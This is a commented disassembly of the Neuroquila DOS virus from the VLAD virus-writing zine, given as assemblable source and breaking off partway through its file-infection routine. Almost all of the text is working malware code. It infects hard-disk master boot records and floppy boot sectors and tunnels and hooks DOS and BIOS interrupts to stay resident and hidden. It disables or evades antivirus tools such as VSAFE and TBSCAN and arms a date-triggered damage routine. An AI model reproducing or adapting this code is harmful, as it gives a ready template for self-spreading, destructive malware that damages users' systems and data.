Virus Labs & Distribution
VLAD #5 - Neuroquila disasm


;---------------------------------------------------------------------------;
; Title: Neuroquila by Neurobasher                                          ;
; (c) 1995    Malware Technology                                            ;
; Disclaimer: Malware Technology is not responsible for any problems        ;
;             caused due to assembly of this file.                          ;
; Thanks to everyone who contributed to this huge source.                   ;
;                                                                           ;
; Release-Version                                                           ;
;                                                                           ;
; If you have any comments send them to na264720@anon.penet.fi              ;
;---------------------------------------------------------------------------;
; '***' == Bug report

.286

code1           segment
		assume  cs:code1

		mov     ax,4c00h
		int     21h

code1           ends

code2           segment
		assume  cs:code2, ds: code2

newint21        equ     04E0h
newint13        equ     04F0h
switch_on       equ     090h            ; NOP
switch_off      equ     0C3h            ; RET
return          equ     0C3h            ; RET
do_function     equ     090h            ; NOP
boot_size       = ( offset boot_over - offset boot_code )
memory_size     = ( offset memory_top - offset start + 15 ) / 16
extra_size      = 24h           ; size added behind virus to host file
marker          = 0F2h          ; infection marker


;---------------------------------------------------------------------------------------;
; Decryptor                                                                             ;
;---------------------------------------------------------------------------------------;

start:
;       jmp     vir_start
	db      0E9h
	dw      offset vir_start - offset $ - 2
	db      3Dh dup (?)

;---------------------------------------------------------------------------------------;
; virus body                                                                            ;
;---------------------------------------------------------------------------------------;

vir_start:
	cld
	sub     di,di
	mov     ah,marker
	int     13h                     ; Install check
	jb      install                 ; was not installed yet
	; Neuroquila allready resident
installed:
	mov     ah,62h
	int     21h                     ; Get PSP address
	mov     es,bx                   ; Set ES to PSP segment
	sub     di,di
	push    bx
	dec     bx                      ; => MCB segment
	mov     ds,bx
;       mov     bx,0ffffh               ; Memory-size for program
	db      0BBh
progmem dw      0FFFFh
	cmp     bh,50h
	ja      not_fix_mem
	mov     ax,word ptr ds:[3]
	sub     ax,bx
	sub     word ptr ds:[di+12h],ax
	mov     ah,4ah
	int     21h                     ; Adjust memory block size
not_fix_mem:
	pop     bx                      ; PSP segment
	mov     ds,bx
	add     bx,10h                  ; => base segment for relocation
	cli
;       mov     sp,01F4h                ; Initial SP
	db      0BCh
init_sp dw      0h
;       lea     ax,[bx+0271h]           ; Initial SS
	db      8Dh,87h
init_ss dw      0
	mov     ss,ax
;       add     bx,word ptr 0
	db      081h,0C3h
init_cs dw      0h                      ; Initial CS
	sti
	pushf
	push    bx
;       push    word ptr 0              ; Initial IP
	db      68h
init_ip dw      0h
	sub     bx,bx
	xor     cx,cx
	mov     dx,cx
	xor     si,si
	mov     bp,si
virint24:
	xor     ax,ax
	iret                            ; jump to original program

install:
	call    flex1                   ; flexible entry point
flex1:
	pop     si                      ; get offset of flex1
	mov     cx,offset my_size       ; virus size
	sub     si,offset flex1         ; calculate offset of virus begin
	push    cs
	pop     ds                      ; DS := CS
;       push    word ptr 07C00h
	db      68h,0,07ch
	pop     es                      ; ES := 07C00h
	push    es
;       push    offset start_over
	db      68h
	dw      offset start_over
	rep     movsb                   ; Copy virus to segment 07C00h
	retf                            ; start over into new segment

start_over:
;       push    byte ptr ( offset installed )
	db      6Ah
	db      offset installed
	mov     ah,52h                  ; Get list of lists
	int     21h                     ; (only the segment value is used)
	mov     bx,21h*4
	mov     ds,cx                   ; DS := 0
assume  ds:nothing
	mov     word ptr cs:tun_stop_seg,es     ; save segment of list of lists
assume  ds:code2
	; Get old and set new int 01h vector
	mov     ax,offset newint01
	xchg    ax,word ptr ds:[bx-(21h*4-1*4)]
	push    ax
	mov     ax,cs
	xchg    ax,word ptr ds:[bx-(21h*4-1*4)+2]
	push    ax
	; Enable tracing mode
	pushf
	pop     ax
	or      ah,1
	push    ax
	popf
	; Call Int 21h for tracing
	mov     ah,4dh
	pushf
	call    dword ptr ds:[bx]
assume  ds:nothing
	; Save tunneled int 21h value
	mov     ax,tunneled_ofs
	mov     tun21_ofs,ax
	mov     ax,tunneled_seg
	mov     tun21_seg,ax
	; Tunnel Int 13h now
	mov     tun_stop_seg,0f000h             ; set system segment to 0F000h
assume  ds:code2
	mov     ah,0
	cwd
	pushf
	call    dword ptr ds:[bx-(21h*4-13h*4)]
	; Restore old int 01 vector
	pop     word ptr ds:[bx-(21h*4-1*4)+2]
	pop     word ptr ds:[bx-(21h*4-1*4)]
	; Install int 13h and 21h
	call    make_bios_progs
	mov     word ptr ds:[di-14h],offset vir_int21
	mov     word ptr ds:[di-4],offset virus_13
	mov     ax,newint13
	mov     dx,ax
	mov     bh,13h
	xchg    bx,ax
	int     2Fh             ; set actual and permanent int 13h vector to newint13
assume  ds:nothing
	lds     di,dword ptr cs:tun21_ofs       ; for the case DOS-version is lower than 5
						; load the address of tunneled int 21h here
assume  ds:code2
	call    patch_int21
infect_hdd:
	pusha
	push    cs
	pop     ds
	push    cs
	pop     es
	cmp     dl,80h          ; booting from harddisk ?
	jz      booted_hdd      ; yes
	; set new activation date to 3 months after now (ignoring days)
	mov     ah,04h
	int     1ah             ; Get RTC-date
	mov     al,dh           ; month
	add     al,3            ; 3 months later
	daa                     ; hex -> bcd after addition
	cmp     al,12h
	jbe     month_ok
	sub     al,12h          ; switch over to next year
	inc     cx
month_ok:
	mov     activ_month,al          ; 1..12 (BCD)
	mov     activ_year,cl           ; this year+[0,1]

booted_hdd:
	; read MasterBootRecord
	mov     ax,201h
	mov     bx,offset disk_buff
	mov     cx,1
	mov     dx,80h
	call    call_int13
	cmp     byte ptr ds:[bx+9],08Eh ; infected ?
	jz      partt_infected                  ; yes
	; search for boot-partition
	mov     cl,4
	lea     si,[bx+01AEh]
next_partition:
	add     si,10h
	cmp     byte ptr [si],dl
	loopnz  next_partition
	jcxz    partt_infected          ; No bootable partition
	; Test if it is a DOS-Partition
	mov     al,byte ptr [si+4]
	cmp     al,1                    ; DOS 12-bit ?
	jz      dos_12bit_fat           ; Yes
	cmp     al,4
	jb      partt_infected          ; type 2,3 are not DOS
	cmp     al,6                    ; types 7,8,... are not DOS
	ja      partt_infected
dos_12bit_fat:
	; Booting Partition is DOS
	mov     ax,word ptr [si+8]
	cmp     al,11h                  ; at least 17 sectors per track ?
	jb      partt_infected          ; no
	; infect the fixed disk 0
	call    encrypt_sector          ; encrypt the old partition table
	mov     cl,7            ; Sector 7
	call    write_1_sect            ; write it to Track 0 Side 0 Sector 7
	inc     cx                      ; next sector (Track 0 Side 0 Sector 8)
	mov     track_head,cx           ; save as position of 2nd virus-part
	mov     side_drive,dx
	push    bx
	xor     bx,bx
	mov     ax,0309h                ; write 9 sectors (1200h Byte)
	call    call_int13              ; this virus
	pop     bx
	mov     si,offset boot_code             
	mov     di,bx
	mov     cl,boot_size
	rep     movsb                   ; copy MBR-code
	mov     al,2
	mov     cx,200h - 2 - boot_size         ; Fill up to 1FEh 
	rep     stosb
	mov     cl,1
	call    write_1_sect            ; write the new MBR 
	; encrypt boot sector on Track 0 Side 1 Secctor 1 of fixed disk 0
	mov     ax,0201h
	mov     dh,1
	call    call_int13              ; read Track 0 Side 1 Sector 1
	call    encrypt_sector          ; encode it
	call    write_1_sect            ; write it back

partt_infected:
	popa
	ret

;---------------------------------------------------------------------------------------;
; Tunneler code                                                                         ;
;---------------------------------------------------------------------------------------;

;assume ds:code2
newint01:
	pusha
	push    ds
	mov     bp,sp
	lds     si,dword ptr [bp+12h]           ; load address of break
	call    int01patches
	cmp     ax,0cfcch                       ; INT3; IRET
						; QEMM Int 13h trap
	jz      tun_success
	cmp     ax,08063h
	jnz     no_special_tunneling
	cmp     word ptr [si+4],1172h
	jnz     no_special_tunneling
	cmp     word ptr [si+0eh],0CFE4h
	jz      tun_success
	cmp     ax,0ff2eh                       ; *** AX is allready 8063h
	jnz     no_special_tunneling
	; never comes to this point
	; but maybe it's for smartdrv but not for 5.0
	cmp     word ptr [si+9],09AFAh
	jz      tun_success
	; end of unused code
no_special_tunneling:
	mov     ax,ds
;       cmp     ax,0f000h
	db      3Dh
tun_stop_seg    dw      0F000h                  ; segment for tunnel success
	jnz     tun_exit
tun_success:
assume  ds:nothing
	mov     ax,ds
	mov     tunneled_seg,ax
	mov     ax,word ptr [bp+12h]
	mov     tunneled_ofs,ax
	and     byte ptr [bp+17h],0FEh          ; switch tracing mode off
assume  ds:code2
tun_exit:
	pop     ds
	popa
	iret

;---------------------------------------------------------------------------------------;
; Boot code                                                                             ;
; only 1Eh Byte in the MBR or bootsector !!!                                            ;
;---------------------------------------------------------------------------------------;
boot_code:
	cli
	xor     ax,ax
	mov     ss,ax                   ; SS := 0
	mov     sp,7c00h
	sti
	mov     es,sp                   ; ES := 7C00h
	push    es
;       push    offset boot_over
	db      68h
	dw      offset boot_over
	xchg    bx,ax                   ; BX := 0
	; read second part of virus
	mov     ax,209h
;       mov     cx,8
	db      0B9h
track_head      dw      8               ; track and head of 2nd virus-part
;       mov     dx,80h
	db      0BAh
side_drive      dw      80h             ; side and drive of 2nd virus-part
	int     13h
	jb      $
	retf                    ; start over to second part
	; End of code stored in MBR or Bootsector

boot_over:
	cld
	call    make_bios_progs ; install the two programs into the BIOS-area
	push    es
	push    cs
	pop     es
	; set new int 13h and save old
	mov     ax,newint13
	mov     si,21h*4
	mov     di,offset tunneled_ofs
	xchg    ax,word ptr [si-(21h*4-13h*4)]
	stosw
	xor     ax,ax
	xchg    ax,word ptr [si-(21h*4-13h*4)+2]
	stosw
	; save int 21h vector
	movsw
	movsw
	; load old boot-code
	pop     es
	mov     ax,201h
	mov     bx,sp
	dec     cx
	int     13h                     ; read old bootsector or MBR
	or      dl,dl                   ; is it a diskette ?
	jz      booting_disk            ; yes
	call    encrypt_sector          ; from HDD decrypt old boot-code
booting_disk:
	; Patch some code in the original partition table or boot-sector
	push    es
	push    bx
	mov     cl,0ffh
boot_patch_loop:
	inc     bx
	cmp     word ptr [bx],73C2h
	jnz     @@108
	mov     byte ptr [bx+1],0EBh
@@108:
	cmp     word ptr [bx],75A7h
	jnz     @@109
	mov     byte ptr [bx+2],ah
@@109:
	loop    boot_patch_loop
	; infect the HDD now
	call    infect_hdd
	; Setup damage function
	inc     ax
	mov     damage_delay,ax
	mov     ah,4
	int     1ah                     ; Hole RTC Datum
;       cmp     cl,90h
	dw      0F980h
activ_year      db      90h                     ; Year
	ja      sw_damage_on
	jb      sw_damage_off
;       cmp     dh,4
	dw      0FE80h
activ_month     db      4                       ; Month
	jb      sw_damage_off
sw_damage_on:
	; Switch on damage function if
	;   ( actual year > activ_year ) or 
	; ( ( actual year = activ_year ) and ( actual month >= activ_month ) )
	mov     byte ptr damage_switch,switch_on
sw_damage_off:
	; start over to original boot-code
	retf

		
;---------------------------------------------------------------------------------------;
; Installs to programs in the BIOS data area                                            ;
; At 0:4F0 JMP FAR virus_seg:virint13                                                   ;
; At 0:4E0 JMP FAR virus_seg:temp_int21                                                 ;
;---------------------------------------------------------------------------------------;
assume  ds:nothing
make_bios_progs:
	mov     byte ptr damage_switch,switch_off
	xor     ax,ax
	mov     ds,ax                   ; DS := 0
	mov     es,ax                   ; ES := 0
	mov     v_int21_running,al
	mov     virus_moved_from_fixed_segment,ax
	mov     di,newint13             ; 0:newint13 is the new int 13h entry point
	mov     al,0EAh                 ; put a JMP FAR there
	stosb
	mov     byte ptr [di-(newint13-newint21+1)],al  ; also put one at 0:newint21
	mov     ax,offset virint13
	stosw
	mov     word ptr [di-(newint13-newint21+2)],offset temp_int21
	mov     ax,cs
	stosw
	mov     [di-(newint13-newint21+2)],ax
		; JMP FAR virint13 at 0:newint13  and
		; JMP FAR temp_int21 at 0:newint21
	ret                             ; bacck to caller

;---------------------------------------------------------------------------------------;
; The virus int 13h                                                                     ;
;                                                                                       ;
;---------------------------------------------------------------------------------------;
virint13:
	; Setup int 21h and 13h if the time comes.
	pusha
	push    ds
	push    es
;       push    byte ptr 0
	db      06Ah,0
	pop     ds                              ; DS := 0
	cmp     byte ptr ds:[21h*4+3],08h       ; it's allready time to hook int 21h
	ja      DOS_not_loaded_yet              ; no
	mov     word ptr ds:[newint13+1],offset virus_13 ; set address of patch code
						; in the JMP FAR
	lds     di,dword ptr ds:[21h*4]
	call    patch_int21                             ; Set new int 21h
DOS_not_loaded_yet:
	pop     es
	pop     ds
	popa

virus_13:
	call    damage_switch   ; do damage function
	inc     int13_counter
	; Test if the virus does this call
	cmp     sp,1300h
	jb      not_from_virus
	cmp     sp,1600h
	ja      not_from_virus
	cmp     ah,marker
	jz      install_check
not_from_virus:
	cmp     ah,2                    ; read from disk/hdd ?
	jz      int13_read_write        ; yes
	cmp     ah,3                    ; write to disk/hdd ?
	jnz     leave_int13             ; no
int13_read_write:
	cmp     dx,2            ; Diskdrive A or B ?
	jb      infect_disk     ; Yes
	cmp     dl,80h          ; HDD 0
	jnz     leave_int13     ; No
	cmp     cx,1            ; track 0 sector 1 ?
	jnz     hdd_access      ; No
	cmp     dh,1            ; head 0 or 1 ?
	ja      leave_int13     ; no
boot_infected:
	push    cx
	dec     al
	jz      only_one_sector         ; only one sector to read
	; read the other sectors
	push    ax
	push    bx
	add     bh,2
	inc     cx
	call    call_int13
	dec     cx
	pop     bx
	pop     ax
only_one_sector:
	; read boot or MBR
	mov     al,1
	cmp     dl,1            ; discette ?
	ja      hdd_read_write  ; no
	mov     cx,5001h        ; read orig. boot from extra track
	call    call_int13
	jmp     disk_done
hdd_read_write:
	or      dh,dh
	jnz     hdd_bootsector  ; read boot directly
	mov     cl,7            ; read sector 7 instead of partt
hdd_bootsector:
	call    crypted_int13
disk_done:
	pop     cx
int13_ok2:
	retf    2               ; end the int 13


leave_int13:
	jmp     dword ptr tunneled_ofs

hdd_access:
	or      dh,dh           ; access to side 0 ?
	jnz     leave_int13     ; no
	push    ax
	mov     ax,cs
	cmp     ah,7ch          ; I am running at segment 7cxxh ?
	pop     ax
	jz      leave_int13     ; yes, then do nothing
	cmp     cx,11h          ; access to sector 12 or above ?
	ja      leave_int13     ; yes
	cmp     cl,6            ; access to sector 5 or below
	jb      leave_int13     ; yes
no_int13_error:
	mov     ah,0            ; just say no error
install_check:
	clc
int13_ok1:
	jmp     int13_ok2

infect_disk:
	cmp     cx,1            ; track 0 sector 1 ?
	jnz     leave_int13     ; No
	push    ax
	call    call_int13      ; read or write it
	jnb     disk_ok         ; no error
	; there was an error
	inc     sp
	inc     sp
	stc
	jmp     int13_ok1

disk_ok:
	pop     ax
	cmp     byte ptr es:[bx+01FDh],marker   ; read or written boot infeted ?
	jz      boot_infected                   ; yes
	pusha
	push    ds
	push    es
	push    es
	pop     ds
	push    cs
	pop     es
	; copy old sector to disk_buff
	mov     si,bx
	mov     di,offset disk_buff
	mov     cx,100h
	cmp     v_int21_running,cl      ; virus int 21h just running ?
	jnz     not_bootable            ; yes
	rep     movsw                   ; copy now
	cmp     byte ptr [bx],0EBh      ; jmp short on begin ?
	jnz     not_bootable            ; no
	mov     ax,word ptr [bx+13h]    ; sectors on disk
	mov     di,offset disk_35       ; offset of drive descriptor table
	cmp     ax,0b40h                ; 3.5" HD disk ?
	jz      disk_1_44_MB            ; yes
	mov     di,offset disk_525      ; offset of drive descriptor table
	cmp     ax,0960h                ; 5.25" HD disk ?
not_bootable:
	jnz     no_std_disk             ; no
disk_1_44_MB:
	push    cs
	pop     ds
	mov     ax,0351Eh               ; get int 1Eh
	int     21h
	push    bx
	push    es
	mov     ah,25h                  ; set new table address
	push    ax
	push    dx
	mov     dx,di
	int     21h
	pop     dx
	push    cs
	pop     es
	; generate a table with 10 sectors
	; for Track 80 Side 0 with 512 byte-sectors
	mov     bp,50h                  ; Track 80
	mov     cl,0ah                  ; 10 Sectors
	mov     di,offset disk_table    ; Address for buffer
	mov     bx,di
sector_loop:
	mov     ax,bp
	stosw
	mov     al,cl
	neg     al
	add     al,0bh
	mov     ah,2
	stosw
	loop    sector_loop
	; format the extra track
	mov     ax,050Ah
	mov     cx,5001h
	call    call_int13
	jb      disk_infection_failed
	; write first sector
	mov     bx,offset disk_buff
	call    write_1_sect
	jb      disk_infection_failed
	;
	inc     cx              ; next sector
	; write virus in the other 9 sectors
	mov     ax,0309h
	xor     bx,bx
	call    call_int13
	jb      disk_infection_failed
assume  ds:code2
	; Save posititon on disk
	mov     track_head,cx
	mov     side_drive,bx
	; Get position the initial jump of the boot-sector goes to
	xchg    bx,ax
	mov     bx,offset disk_buff
	mov     al,byte ptr [bx+1]
	xchg    di,ax
	lea     di,[bx+di+2]                    ; di := jump destination
	; copy boot_code to this position
	mov     si,offset boot_code
	mov     cx,boot_size
	rep     movsb
	; write it to boot sector of disk
	mov     byte ptr [bx+1FDh],marker               ; mark infected
	mov     cl,1
	call    write_1_sect            ; write one sector
disk_infection_failed:
	pop     ax
	pop     ds
	pop     dx
	int     21h
no_std_disk:
	pop     es
	pop     ds
	popa
	jmp     no_int13_error

;---------------------------------------------------------------------------------------;
; Set new int 21h by patching it into the original int 21h                              ;
;---------------------------------------------------------------------------------------;
patch_int21:
	mov     ah,30h
	int     21h                             ; Get DOS version
	cmp     al,5
	jb      no_dos5                         ; lower than 5.0
	mov     ah,52h                          ; Get list of lists
	int     21h
	push    es
	pop     ds                              ; DS := segment of list of lists
	mov     di,109eh                ; DOS 5+ int 21h entry if loaded into HMA
no_dos5:
assume  ds:nothing
	mov     cx,1                    ; CX := 1
	mov     tun21_ofs,di                    ; set tunneled int 21h vector
	mov     tun21_seg,ds
	mov     ax,word ptr [di]                ; load 2 bytes from there
	cmp     al,90h                  ; NOP ?
	jz      int21_nop               ; DOS int entry
	cmp     ax,0EB03h               ; Useless Short-Jump ?
	jnz     int21_no_jmp_near       ; test for another DOS-Entry
int21_nop:
	mov     di,word ptr [di+8]      ; load address where the address is stored
	les     di,dword ptr [di]       ; load int address from there
	jmp     patch_done
int21_no_jmp_near:
	cmp     ax,03A2Eh               ; CS: CMP ?
	jnz     int21_no_cmp
	inc     cx                      ; 2 NOPs to add
	push    ds
	pop     es
	jmp     patch_done
int21_no_cmp:
	cmp     al,0EAh                 ; JMP FAR ?
	jnz     int21_no_patch
	les     di,dword ptr [di+1]     ; load address it jumps to
	dec     cx                      ; no NOP to add
patch_done:
	; Insert a call far at routine called
	mov     al,9Ah                  ; CALL FAR
	cld
	stosb
	mov     ax,newint21
	stosw
	xor     ax,ax
	stosw
	mov     al,90h
	rep     stosb
int21_no_patch:
	ret

;---------------------------------------------------------------------------------------;
; Memory allocation routine                                                             ;
;---------------------------------------------------------------------------------------;
;assume ds:nothing
alloc_mem:
	mov     ax,4300h
	int     2fh                     ; XMS driver installed ?
	cmp     al,80h
	jnz     no_xms_driver
	mov     ax,4310h                ; Get driver entry point into ES:BX
	int     2fh
	mov     word ptr xms_addr,bx
	mov     word ptr xms_addr+2,es
	mov     ah,10h                  ; Alloccate UMB
	mov     dx,di                   ; size in paragraphs
	call    xms_addr                ; Call Memory-Manager
	dec     ax                      ; successfull allocated
	jnz     no_xms_driver           ; No
	mov     bp,bx                   ; allocated segment
	ret
no_xms_driver:
	; try in the UMB's via DOS and in conventional memory then
	mov     ax,5800h
	int     21h                     ; Get allocation strategy
	push    ax
	mov     ax,5801h
	push    ax
	mov     bx,0080h
	int     21h                     ; Set allocation strategy first fit, try high
					; then low
	mov     ax,5802h
	int     21h                     ; get UMB link sate
	mov     ah,0
	push    ax
	mov     ax,5803h
	push    ax
	mov     bl,1
	int     21h                     ; set UMB link state ON
	mov     ah,48h
	mov     bx,di
	int     21h                     ; Allocate BX paragraphs of mem
	xchg    bp,ax                   ; save allocated segment to BP
	pop     ax
	pop     bx
	int     21h                     ; restore UMB link state
	pop     ax
	pop     bx
	int     21h                     ; restore allocation strategy
	ret

;---------------------------------------------------------------------------------------;
; The virus' int 21h                                                                    ;
;---------------------------------------------------------------------------------------;

;assume ds:nothing
temp_int21:
;       jmp     near allready_moved
	db      0E9h
virus_moved_from_fixed_segment  dw      (offset allready_moved - offset $) - 2
; coming to this point after a patch is done to virus_moved_from_fixed_segment
	mov     byte ptr virus_moved_from_fixed_segment,( offset @@65 - offset virus_moved_from_fixed_segment) - 2
	pusha
	call    patch_new_intcode
	mov     bx,dx
	mov     cx,80h
	cmp     bh,0FFh
	jz      try_to_move_virus
	cmp     byte ptr [bx+1],3Ah             ; ':'
						; driveletter given ?
	jnz     try_to_move_virus               ; no
next1_filename_char:
	cmp     byte ptr [bx],2Eh               ; '.' ?
	jnz     no_av_proggi
	cmp     word ptr [bx-2],504Fh           ; 'PO.' ?
	jz      its_av_proggi
	cmp     word ptr [bx-2],4154h           ; 'TA.' ?
	jz      its_av_proggi
	cmp     word ptr [bx-5],4351h           ; 'QC???.' ?
					; Wasn't it a program from AVTK ?
	jnz     no_av_proggi
its_av_proggi:
	inc     byte ptr [bx]                   ; '.' -> '/'
	mov     ax,0920h
	xor     bx,bx                   ; screen page 0, black on black
	mov     cl,0F0h                         ; write 240 spaces
	int     10h
	xchg    bx,ax                           ; virus not moved
	jmp     do_not_move

no_av_proggi:
	inc     bx                              ; next char
	loop    next1_filename_char

try_to_move_virus:
	push    ds
	push    es
	mov     ah,52h
	int     21h                     ; get list of lists
	mov     ds,word ptr es:[bx-2]   ; segment of first MCB
	mov     si,10h
	cmp     byte ptr [si-0ch],80h   ; block-size > 80FFh paragraphs ?
	mov     al,0
	ja      DOS2_not_loaded_yet     ; yes
	mov     di,memory_size          ; size of memory block needed
	call    alloc_mem               ; (in paragraphs)
	mov     dx,bp
	cmp     dh,0A0h
	jb      in_low_mem
	dec     bp
	mov     ds,bp
	mov     ax,di
	mov     word ptr [si-0fh],8     ; mark as system MCB
	jmp     move_virus
in_low_mem:
	push    ds
	cmp     byte ptr [si],46h               ; FILES= ?
	jz      next_subMCB                     ; yes
	cmp     byte ptr [si],44h               ; DEVICE= ?
	jnz     no_subMCB                       ; no
next_subMCB:
	cmp     byte ptr [si],4Dh               ; next normal MCB ?
	jz      last_subMCB                     ; yes
	cmp     byte ptr [si],54h               ; INSTALL= ?
	jz      last_subMCB                     ; yes
	mov     ax,word ptr [si+1]              ; MCB owner
	dec     ax
	mov     es,ax
	add     ax,word ptr [si+3]              ; + size of memory block
	mov     ds,ax
	jmp     next_subMCB                     ; test again
last_subMCB:
	lea     ax,[bp+di]
	sub     ax,es:[si-0fh]
	mov     es:[si-0dh],ax
no_subMCB:
	pop     ds                      ; segment of first MCB
	mov     ax,ds
	sub     bp,ax           ; ofs of allocated seg to first MCB in paras
	xchg    bp,ax
	add     ax,memory_size - 1      ; fix first MCBs len to fit virus in

move_virus:
	mov     virus_segment,ds
	push    cs
	pop     ds
assume  ds:code2
	mov     virusMCB_size,ax
	mov     es,dx
	mov     al,(offset allready_moved - offset virus_moved_from_fixed_segment) - 2
	mov     byte ptr virus_moved_from_fixed_segment,al
	mov     cx,offset memory_top
	xor     si,si
	xor     di,di
	cld
	rep     movsb
	mov     ds,cx
	mov     word ptr ds:[newint21+3],es
	mov     word ptr ds:[newint13+3],es
	
DOS2_not_loaded_yet:
	pop     es
	pop     ds
assume  ds:nothing
do_not_move:
	mov     byte ptr virus_moved_from_fixed_segment,al
	popa

@@65:
	retf

allready_moved:
	; patch addresses in the two programs at 0:4E0 and 0:4F0
	push    ds
;       push    word ptr 0C801h
		db      68h
virus_segment   dw      0C801h
	pop     ds
;       mov     word ptr [3],014Eh      
	db      0C7h,06h
	dw      3
virusMCB_size   dw      014Eh

	pop     ds

vir_int21:
;assume ds:nothing
	; JMP SHORT
	db      0EBh
v_int21_running         db      offset short_int21 - offset $ - 1
	; save all registers on Int 21h call
	mov     save_ds,DS
	push    cs
	pop     ds
assume  ds:code2
	mov     save_bx,bx
	mov     bx,offset save_bx
	mov     word ptr [bx+(offset save_ax-offset save_bx)],ax
	mov     word ptr [bx+(offset save_cx-offset save_bx)],cx
	mov     word ptr [bx+(offset save_dx-offset save_bx)],dx
	mov     word ptr [bx+(offset save_si-offset save_bx)],si
	mov     word ptr [bx+(offset save_di-offset save_bx)],di
	mov     word ptr [bx+(offset save_bp-offset save_bx)],bp
	mov     word ptr [bx+(offset save_es-offset save_bx)],es
	mov     byte ptr [bx+(offset v_int21_running-offset save_bx)],offset short_int21-offset v_int21_running - 1
	inc     int21_counter
	cld
	call    damage_switch
	mov     al,ah
	push    ds
	mov     cx,0eh
	pop     es
	mov     di,offset dos_functions
	repnz   scasb           ; called function hooked by virus ?
	jnz     not_hooking
	shl     cx,1            ; *2
	add     bx,cx
		; pushh address on stack
	push    offset not_hooking      ; return address
	push    word ptr [bx+(offset dos_procs - offset save_bx)]
				; addr of responding virus function
	; Init values for int
reg_restore:
;       mov     bx,
	db      0BBh
save_bx dw      ?
;       mov     bp,
	db      0BDh
save_bp dw      ?
;       mov     ax,
	db      0B8h
save_ax dw      ?
;       mov     si,
	db      0BEh
save_si dw      ?
;       mov     cx,
	db      0B9h
save_cx dw      ?
;       mov     di,
	db      0BFh
save_di dw      ?
;       mov     dx,
	db      0BAh
save_dx dw      ?
;       push    word
	db      68h
save_ds dw      ?
	pop     ds
;       push word
	db      68h
save_es dw      ?
	pop     es
	ret

not_hooking:
	call    restreg_and_prep_leaving
short_int21:
	cmp     ah,6ch
	ja      set_zflag_and_leave_21          ; all functions above 6ch produce a Zero-Flag
	retf                                    ; jump to
set_zflag_and_leave_21:
	add     sp,4
	xor     al,al
	retf    2

restreg_and_prep_leaving:
	call    reg_restore
assume  ds:nothing
prepare_leave_int21:
	mov     byte ptr v_int21_running,0
	ret

dos_functions   db      4bh,4ch,11h,12h,4eh,4fh,42h,3fh,3eh,3dh,32h,44h,25h,40h
dos_procs       dw      offset dosf_40          ; write to handle-file
		dw      offset dosf_25          ; set int
		dw      offset dosf_44          ; IOCTL
		dw      offset dosf_32          ; get DPB
		dw      offset dosf_3d          ; open handle-file
		dw      offset dosf_3e          ; close handle-file
		dw      offset dosf_3f          ; read from handle-file
		dw      offset dosf_42          ; seek in handle file
		dw      offset dosf_4f          ; FindNext
		dw      offset dosf_4e          ; FindFirst
		dw      offset dosf_11_12       ; FindNext FCB
		dw      offset dosf_11_12       ; FindFirst FCB
		dw      offset dosf_4c          ; Terminate program
		dw      offset dosf_4b          ; Execute program

tbav_cmdline    db      ' CO ',0
win_cmdline     db      '/D:F ',0

dosf_4b:
	cmp     al,0                    ; Execute ?
	jz      dosf_3d
	cmp     al,1                    ; Load ?
	jnz     open_4b_error           ; no something else
	mov     ax,3d02h                ; open file being loaded for reading
	call    do_int21                ; and writing
	jc      open_4b_error
	xchg    bx,ax
	call    dosf_40                 ; disinfect the file
	mov     ah,3eh                  ; close file
	int     21h
open_4b_error:
	ret
dosf_3d:
	; DS:DX points to ASCIIZ-Filename
	call    dosf_4c
	push    ax                      ; Save ax
	mov     si,dx                   ; DS:SI now points to filename
	mov     di,offset filename
	push    cs
	pop     es                      ; ES := CS
store_filename:
	lodsb                           ; load one char and store
	stosb
	or      al,al                   ; until last char
	jnz     store_filename
	push    cs
	pop     ds                      ; DS := CS
	pop     cx                      ; function number passed in AX
	cmp     ch,3Dh                  ; open file ?
	jnz     not_open_file           ; next test
on_open_file:
	ret

	; Coming to this code byte patching on_open_file
	cmp     word ptr [di-0dh],04D53h        ; 'SM' ?
	jnz     @@118                           ; No
	cmp     word ptr [di-07h],04B48h        ; 'HK' ?
	jz      @@119                           ; yes
@@118:
	cmp     word ptr [di-0ch],04843h        ; 'CH' ?
	jnz     open_4b_error                   ; No
	cmp     word ptr [di-0ah],04C4Bh        ; 'KL' ?
	jnz     open_4b_error                   ; no
@@119:
	call    restreg_and_prep_leaving
	add     sp,6                    ; remove cs/ip/flags from stack
	mov     ax,2                    ; error-code 2 (file not found)
	stc
	retf    2
assume  ds:code2
not_open_file:
	cmp     ch,4bh
	jnz     chk4win
	mov     byte ptr on_open_file,return
	cmp     word ptr [di-07h],5641h
	jnz     chk4win
	mov     byte ptr on_open_file,do_function
;assume ds:nothing
chk4win:
	mov     si,offset win_cmdline
	cmp     word ptr [di-08h],4957h         ; 'WI' ?
	jnz     chk4tbscan
	cmp     byte ptr [di-06h],4eh           ; 'WIN' ?
	jz      add_extra_param                 ; Pass arguments to Windows
chk4tbscan:
	mov     si,offset tbav_cmdline
	cmp     word ptr [di-0ah],5342h         ; 'BS' ?
	jnz     last2_param_char
	cmp     word ptr [di-07h],4E41h         ; 'BS?AN' ?
	jnz     last2_param_char
	; Pass arguments to TBSCAN
add_extra_param:
	; pass arguments from ds:si to current commandline
	mov     di,offset disk_buff
	mov     bx,di
	mov     byte ptr [di],0FFh
	inc     di
next1_param_char:
	lodsb
	or      al,al
	jz      last1_param_char
	stosb
	inc     byte ptr [bx]
	jmp     next1_param_char
last1_param_char:
	; Concate ParamStr to what it passes to special programs
	mov     si,save_bx
	mov     ds,save_es
	mov     ax,cs
	xchg    ax,word ptr [si+4]              ; Segment of ParamString
	push    ax
	mov     ax,bx
	xchg    ax,word ptr [si+2]              ; Offset of ParamStr
	xchg    si,ax
	pop     ds                      ; => DS:SI ParamString
assume  ds:nothing
	inc     si
next2_param_char:
	lodsb
	stosb
	inc     word ptr cs:[bx]        ; increase size of param-string by 1
	cmp     al,0dh
	jnz     next2_param_char

	;
last2_param_char:
	push    cs
	pop     ds
assume  ds:code2
	mov     byte ptr dosf_11_12,switch_on
					; do infection on FCB file-search
	mov     ah,2Fh
	int     21h                     ; Get DTA
	push    bx
	push    es
	mov     ah,1ah
	mov     dx,offset vir_dta
	int     21h                     ; Set DTA
	mov     ax,3524h
	int     21h                     ; Get int 24h vector
	push    bx                      ; and save
	push    es
	mov     ah,25h                  ; set new Int 24h to cs:virint24
	push    ax
	mov     dx,offset virint24
	int     21h
	mov     bl,0
	call    switch_vsafe            ; switch off VSAFE
	mov     ah,4eh
	mov     cx,27h                          ; all files
	call    filename_int21                  ; find the file
	jc      floppy_not_OK                   ; not found
	mov     si,offset my_size
	xor     di,di
	cmp     byte ptr [si+4],2               ; Drive to access
	ja      not_floppy
	push    dx
